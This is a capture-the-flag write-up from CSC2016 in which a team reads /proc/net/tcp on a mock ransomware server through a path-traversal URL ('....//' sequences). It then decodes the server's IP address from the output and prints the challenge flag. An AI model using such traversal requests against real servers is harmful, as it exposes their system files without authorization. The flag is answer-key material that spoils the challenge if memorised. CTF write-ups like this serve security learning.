Task: Reveal
Operation: T.H.S.
Team: adrianb

This seems like a straightforward task: we have to find the IP address of the machine where the ransomware server is hosted.

We know from the Verbosity challenge that we can access almost anything in the server's file system due to a path traversal vulnerability. Probably there are a few places where we can find the IP address of the machine, but one of the first that came to mind was in /proc/net/tcp. Therefore, we access "http://xk5ubmdbh4esc3ny.onion/....//....//....//proc/net/tcp" to get:

```
 sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout
inode
   0: 00000000:1092 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1000        0
318548 1 0000000000000000 100 0 0 10 0
   1: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0
18418 1 0000000000000000 100 0 0 10 0
   2: 0100007F:235A 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0
313892 1 0000000000000000 100 0 0 10 0
   3: 0100007F:1092 0100007F:E790 01 00000000:00000000 00:00000000 00000000  1000        0
881511 3 0000000000000000 20 4 27 10 -1
   4: 4DA53D6C:9564 08EFBB25:2329 01 0000021F:00000000 01:00000016 00000000   112        0
725824 3 0000000000000000 23 4 29 10 30
   5: 0100007F:E790 0100007F:1092 01 00000000:0000034D 00:00000000 00000000   112        0
881514 2 0000000000000000 20 4 28 10 -1
   6: 4DA53D6C:AD8A 79B08705:2329 01 00000000:00000000 00:00000000 00000000   112        0
881501 1 0000000000000000 21 4 20 10 -1
   7: 4DA53D6C:B240 CFD80251:01BB 01 00000000:00000000 00:00000000 00000000   112        0
881042 1 0000000000000000 23 4 32 10 -1
```

Amongst the local addresses (which include the localhost) we have a "normal" address: 4DA53D6C. We get the address 108.61.165.77.

Flag: CSC2016{b16d6a831d8b37f2a5fc02d14a38baa4}